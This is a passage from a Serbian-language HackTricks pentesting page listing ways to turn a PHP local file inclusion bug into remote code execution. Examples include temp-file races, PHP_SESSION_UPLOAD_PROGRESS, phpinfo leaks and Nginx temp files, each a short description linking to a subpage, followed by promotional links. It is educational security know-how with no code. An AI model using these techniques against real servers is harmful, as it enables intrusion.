**Postavite** fajl koji će biti smešten kao **privremeni** u `/tmp`, zatim u **istom zahtevu**, izazovite **grešku segmentacije**, i tada **privremeni fajl neće biti obrisan** i možete ga pronaći.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### Putem Nginx privremenog skladištenja fajlova
Ako ste pronašli **Lokalno uključivanje fajlova** i **Nginx** je pokrenut ispred PHP-a, možda ćete moći da dobijete RCE pomoću sledeće tehnike:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
### Putem PHP\_SESSION\_UPLOAD\_PROGRESS
Ako ste pronašli **Lokalno uključivanje fajlova**, čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako pružite **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Možete zloupotrebiti ovo da biste dobili RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
### Putem privremenog otpremanja fajlova u Windows-u
Ako ste pronašli **Lokalno uključivanje fajlova** i server radi na **Windows-u**, možete dobiti RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
### Putem phpinfo() (file\_uploads = on)
Ako ste pronašli **Lokalno uključivanje fajlova** i fajl koji prikazuje **phpinfo()** sa file\_uploads = on, možete dobiti RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + otkrivanje putanje
Ako ste pronašli **Lokalno uključivanje fajlova** i možete **izvući putanju** privremenog fajla, ALI **server** proverava da li **fajl koji treba da se uključi ima PHP oznake**, možete pokušati da **zaobiđete tu proveru** sa ovom **trkom stanja**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
### Putem večnog čekanja + brute force
Ako možete zloupotrebiti LFI da biste **otpustili privremene fajlove** i naterali server da **zastane** izvršavanje PHP-a, tada možete **brute force-ovati imena fajlova satima** da biste pronašli privremeni fajl:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### Do Fatalne greške
Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti isti fajl 2 puta da biste izazvali tu grešku).
**Ne znam kako je ovo korisno, ali može biti.**\
_Čak i ako izazovete PHP Fatalnu grešku, privremeni fajlovi PHP-a koji su otpremljeni će biti obrisani._
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
## Reference
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije objave**\
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
<details>
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>